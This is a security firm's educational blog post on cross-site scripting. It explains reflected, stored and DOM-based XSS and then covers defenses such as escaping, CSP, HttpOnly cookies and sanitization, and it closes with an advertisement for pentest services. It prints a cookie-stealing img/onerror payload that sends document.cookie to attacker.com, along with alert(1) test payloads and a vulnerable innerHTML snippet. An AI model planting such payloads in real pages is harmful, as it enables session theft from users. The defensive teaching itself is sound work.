XSS (Cross-Site Scripting): How Companies Get Compromised Through Frontend Flaws
XSS remains one of the most exploited vulnerabilities on the modern web. Learn the types of XSS, their real-world impact, and how to protect applications properly.

❓What is XSS (Cross-Site Scripting)?
XSS is a vulnerability that lets attackers inject malicious scripts (usually JavaScript) into web pages viewed by other users. It can lead to cookie and session theft, malicious redirects, or unauthorized actions performed on the victim's behalf.
XSS (Cross-Site Scripting) remains one of the most common vulnerabilities found in modern web applications.
Although many developers associate XSS with nothing more than a simple alert(1),
in practice this vulnerability can enable session theft,
account compromise,
actions performed on behalf of the user,
and even partial control of the application.
In many modern pentests, XSS flaws keep showing up in admin panels, SaaS platforms, CRMs, financial applications, and internal systems.
- It executes code directly in the victim's browser
- It can compromise authenticated sessions
- It frequently affects administrative users
- It is extremely common in modern applications
- It can be chained with other vulnerabilities
What Is XSS?
XSS occurs when an application renders user-controlled data without proper escaping or sanitization.
This allows JavaScript code to be executed directly in the victim's browser.
In practice, the browser interprets the injected payload as a legitimate part of the application.
The Problem Goes Far Beyond alert(1)
During security testing,
the alert(1) payload is normally used only as a proof of concept.
The real impact usually involves:
- Theft of authenticated sessions
- Actions performed on behalf of the victim
- Capture of JWT tokens
- Partial MFA bypass
- Phishing inside the application itself
- Compromise of admin panels
A Real-World Example Found in Applications
An extremely common scenario involves comment features, chats, tickets, or profile fields.
<div class="comment">
{{ userComment }}
</div>
If the application renders content without proper escaping, an attacker can inject:
<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">
When another user views the page, the browser will automatically execute the payload.
The Main Types of XSS
1. Reflected XSS
The payload is sent in the request and immediately reflected back by the application.
Common example
https://site.com/search?q=<script>alert(1)</script>
This type usually relies on social engineering, phishing, or sending malicious links.
2. Stored XSS
The payload is permanently stored by the application.
This is one of the most dangerous scenarios, because any user who opens the vulnerable page will automatically execute the payload.
Common locations
- Comments
- Chats
- Ticketing systems
- User profiles
- Admin panels
3. DOM-Based XSS
In this case, the vulnerability exists entirely in the frontend.
const name = location.hash.substring(1);
document.getElementById('output').innerHTML = name;
An attacker can exploit it with:
https://site.com/#<img src=x onerror=alert(1)>
DOM XSS is extremely common in modern SPA applications.
Real-World Impact of XSS
- Cookie theft
- Session hijacking
- Execution of administrative actions
- Exposure of JWT tokens
- Credential capture
- Internal pivoting
- Advanced phishing
- Persistence inside the application
Why Do Modern Applications Remain Vulnerable?
Even modern frameworks still carry risk when used incorrectly.
Frequently found problems
- Unsafe use of
innerHTML - Use of
dangerouslySetInnerHTMLin React - Rendering of unsafe markdown
- Partial sanitization
- Over-reliance on the frontend
- Vulnerable libraries
How to Prevent XSS Properly
1. Output Escaping
The primary defense against XSS is still proper context-aware escaping.
element.innerHTML = userInput;
✅ Secure
element.textContent = userInput;
2. Avoid innerHTML Whenever Possible
A large share of the DOM XSS found in modern applications
involves unsafe use of innerHTML.
3. Implement CSP (Content Security Policy)
CSP significantly reduces the impact of XSS.
Content-Security-Policy:
default-src 'self';
script-src 'self';
object-src 'none';
base-uri 'self';
CSP does not replace sanitization, but it adds an extremely important layer of protection.
4. HttpOnly Cookies
HttpOnly cookies help reduce session theft via JavaScript.
Set-Cookie:
session=abc123;
HttpOnly;
Secure;
SameSite=Strict
5. HTML Sanitization
When user-controlled HTML is genuinely required, use trusted sanitization libraries.
- DOMPurify
- sanitize-html
- OWASP Java HTML Sanitizer
Tools Used for XSS Testing
- Burp Suite Professional
- OWASP ZAP
- XSStrike
- Dalfox
- Caido
XSS Protection Checklist
- [ ] Outputs use context-aware escaping
- [ ] The application avoids innerHTML
- [ ] CSP is implemented
- [ ] Cookies use HttpOnly
- [ ] Inputs are validated
- [ ] HTML is sanitized correctly
- [ ] Frameworks are up to date
- [ ] Pentests are performed regularly
Conclusion
XSS remains extremely prevalent in modern applications, especially in complex systems, SPA applications, admin panels, and SaaS platforms.
In many cases, the problem is not a total absence of protection, but rather small insecure spots scattered across the application.
Protecting against XSS requires continuous validation, code review, and a deep understanding of how the frontend handles user-controlled data.
Need to Assess Your Application's Security?
LoPrestiSec performs Web Pentests, Code Reviews, and assessments focused on modern vulnerabilities, including Stored XSS, DOM-Based XSS, and advanced frontend flaws.
- Web Pentest
- Code Review
- API Security
- Cloud Security Assessment
- Threat Modeling
Get in touch to assess the security of your application.
❓ Frequently Asked Questions
Get answers to the most common questions
<script>alert('XSS')</script> into input fields. If the alert fires, there is a vulnerability. For thorough testing, a professional pentest with specialized tools is recommended.Still have questions? Reach out to us through the contact form or via WhatsApp.
Need help with this topic? Learn about our Security Code Review service →
Need Professional Security Help?
LoPrestiSec delivers end-to-end penetration testing, security consulting and LGPD compliance services. More than 200 companies trust our work.
Get in Touch →